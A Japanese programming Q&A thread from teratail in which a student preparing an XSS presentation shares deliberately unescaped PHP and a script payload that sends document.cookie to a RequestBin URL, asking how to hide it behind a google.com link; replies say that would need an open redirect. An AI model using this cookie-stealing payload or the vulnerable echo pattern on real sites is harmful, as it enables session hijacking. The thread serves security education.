🎄teratailクリスマスプレゼントキャンペーン2024🎄』開催中!

\teratail特別グッズやAmazonギフトカード最大2,000円分が当たる!/

詳細はこちら
PHP

PHPは、Webサイト構築に特化して開発されたプログラミング言語です。大きな特徴のひとつは、HTMLに直接プログラムを埋め込むことができるという点です。PHPを用いることで、HTMLを動的コンテンツとして出力できます。HTMLがそのままブラウザに表示されるのに対し、PHPプログラムはサーバ側で実行された結果がブラウザに表示されるため、PHPスクリプトは「サーバサイドスクリプト」と呼ばれています。

JavaScript

JavaScriptは、プログラミング言語のひとつです。ネットスケープコミュニケーションズで開発されました。 開発当初はLiveScriptと呼ばれていましたが、業務提携していたサン・マイクロシステムズが開発したJavaが脚光を浴びていたことから、JavaScriptと改名されました。 動きのあるWebページを作ることを目的に開発されたもので、主要なWebブラウザのほとんどに搭載されています。

XSS

XSS【クロスサイトスクリプティング】は、 ソフトウェアのセキュリティホールの一つで、Webサイトに脆弱性が あることからその脆弱性を利用し攻撃する手法です。 主に、入力フォームなどから悪意あるスクリプトを挿入し 該当ページを閲覧したブラウザ上でそのスクリプトを実行します。

HTML

HTMLとは、ウェブ上の文書を記述・作成するためのマークアップ言語のことです。文章の中に記述することで、文書の論理構造などを設定することができます。ハイパーリンクを設定できるハイパーテキストであり、画像・リスト・表などのデータファイルをリンクする情報に結びつけて情報を整理します。現在あるネットワーク上のほとんどのウェブページはHTMLで作成されています。

Q&A

解決済

3回答

1408閲覧

XSSデモ作成時におけるリンクの作成方法

konnitiha2

総合スコア30

PHP

PHPは、Webサイト構築に特化して開発されたプログラミング言語です。大きな特徴のひとつは、HTMLに直接プログラムを埋め込むことができるという点です。PHPを用いることで、HTMLを動的コンテンツとして出力できます。HTMLがそのままブラウザに表示されるのに対し、PHPプログラムはサーバ側で実行された結果がブラウザに表示されるため、PHPスクリプトは「サーバサイドスクリプト」と呼ばれています。

JavaScript

JavaScriptは、プログラミング言語のひとつです。ネットスケープコミュニケーションズで開発されました。 開発当初はLiveScriptと呼ばれていましたが、業務提携していたサン・マイクロシステムズが開発したJavaが脚光を浴びていたことから、JavaScriptと改名されました。 動きのあるWebページを作ることを目的に開発されたもので、主要なWebブラウザのほとんどに搭載されています。

XSS

XSS【クロスサイトスクリプティング】は、 ソフトウェアのセキュリティホールの一つで、Webサイトに脆弱性が あることからその脆弱性を利用し攻撃する手法です。 主に、入力フォームなどから悪意あるスクリプトを挿入し 該当ページを閲覧したブラウザ上でそのスクリプトを実行します。

HTML

HTMLとは、ウェブ上の文書を記述・作成するためのマークアップ言語のことです。文章の中に記述することで、文書の論理構造などを設定することができます。ハイパーリンクを設定できるハイパーテキストであり、画像・リスト・表などのデータファイルをリンクする情報に結びつけて情報を整理します。現在あるネットワーク上のほとんどのウェブページはHTMLで作成されています。

0グッド

1クリップ

投稿2021/01/25 03:29

編集2021/01/25 03:57

情報系の大学に通う学生です。
今度XSS(クロスサイトスクリプティング)に関して発表する機会があり、そのデモ環境を作っているのですが質問がいくつかあります。

今、下記のようにXSSに対する脆弱性があるphpのコードを作りました。UIは下記画像の通りです。
今RequestBinにcookieの情報を送信するスクリプトをコメント欄に埋め込むことを想定しています。
埋め込むスクリプトとしては<script>window.location='requestbinのurl?'.concat(document.cookie)</script>です。
このスクリプトをコメント欄に直接埋め込むと問題なくrequestbinにcookie情報が保存されておりXSS攻撃は成功しています。
しかし、理想としては<a href=http://google.com>googleのURLです</a>のようにリンクを準備して、リンクを踏むとgoogle.comにしっかりと遷移するが、kookie情報はrequestbinに送られるような、リンクを作成したいです。
つまり、<a href=http://google.com>googleのURLです</a><script>window.location='requestbinのurl?'.concat(document.cookie)</script>を組み合わせてgoogleのURLですというリンクをクリックするとgoogle.comに遷移してかつcookie情報を奪うようなリンクを作成したいということです。

助長な説明申し訳ありません。
お手数ですが解答よろしくお願いします。

環境
・Windows10

php

1<!DOCTYPE html> 2<html> 3<head> 4<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 5<title>XSS確認</title> 6</head> 7<body> 8 <form action="" method="post" accept-charset="utf-8"> 9 <label class="label" for="name">コメント:</label> 10 <input type="text" size="70" name="xss_text" value=""> 11 <p><input type="submit" value="送信"></p> 12 </form> 13 コメント一覧: <?php echo $_POST['xss_text']; ?> 14</body> 15</html>

イメージ説明

気になる質問をクリップする

クリップした質問は、後からいつでもMYページで確認できます。

またクリップした質問に回答があった際、通知やメールを受け取ることができます。

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

aqqz

2021/01/25 03:42 編集

無理ですね google経由で動かせるような穴を頑張って探してください
m.ts10806

2021/01/25 03:46 編集

kookieとは。 CookieならWeb用語にあります。ご自身でもコードには書かれてますね。 固有名詞の間違いは致命的になり得ます
konnitiha2

2021/01/25 03:56

お二人とも返信ありがとうございます 修正しておきます
int32_t

2021/01/25 04:24

google.comのクッキーを奪取したいという意味ですか? それとも、このPHPのサイトのクッキー? アタッカーがそういうリンクを埋め込ませるにはどういう文字列をコメント欄に入れればよいか、という質問であってますか?
aqqz

2021/01/25 04:30

googleから情報奪取からのrequestbinへ吐き出しでしょう
m.ts10806

2021/01/25 05:30

文章内検索しましょう。まだあります。 発表資料にも出ますよ、そういういわば「雑な」ところ。
guest

回答3

0

既にコメントがありますが、それはできません。仮にできたら、Googleにオープンリダイレクトという脆弱性があることになります。

オープンリダイレクトについては、以下の書籍に詳しく書いてあります。

体系的に学ぶ 安全なWebアプリケーションの作り方 第2版 脆弱性が生まれる原理と対策の実践

その他、ブラウザ上の表示を上手く工夫して利用者を騙すテクニックも過去には知られていますが、それらはブラウザの脆弱性として修正されています。もし見つけたら、Google等に報告したら報奨金をもらえるかもしれません。そのくらいのレベルだということです。

投稿2021/01/25 04:38

ockeghem

総合スコア11705

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

0

自己解決

今は、希望したようなXSSのデモが困難なことがわかりました

投稿2021/01/26 00:51

konnitiha2

総合スコア30

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

0

Ajaxで 'requestbinのurl?'.concat(document.cookie) にリクエストを投げて、そのレスポンスを受け取った後で window.location='http://google.com' を実行すればよいのではと思います。

但し、コードがそれなりに長くなりそうですが。

投稿2021/01/25 04:26

plasticgrammer

総合スコア629

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

aqqz

2021/01/25 04:30

全くわかってない
plasticgrammer

2021/01/25 05:01

コメントありがとうございます。 できないのですね。失礼しました。
guest

あなたの回答

tips

太字

斜体

打ち消し線

見出し

引用テキストの挿入

コードの挿入

リンクの挿入

リストの挿入

番号リストの挿入

表の挿入

水平線の挿入

プレビュー

15分調べてもわからないことは
teratailで質問しよう!

ただいまの回答率
85.36%

質問をまとめることで
思考を整理して素早く解決

テンプレート機能で
簡単に質問をまとめる

質問する

関連した質問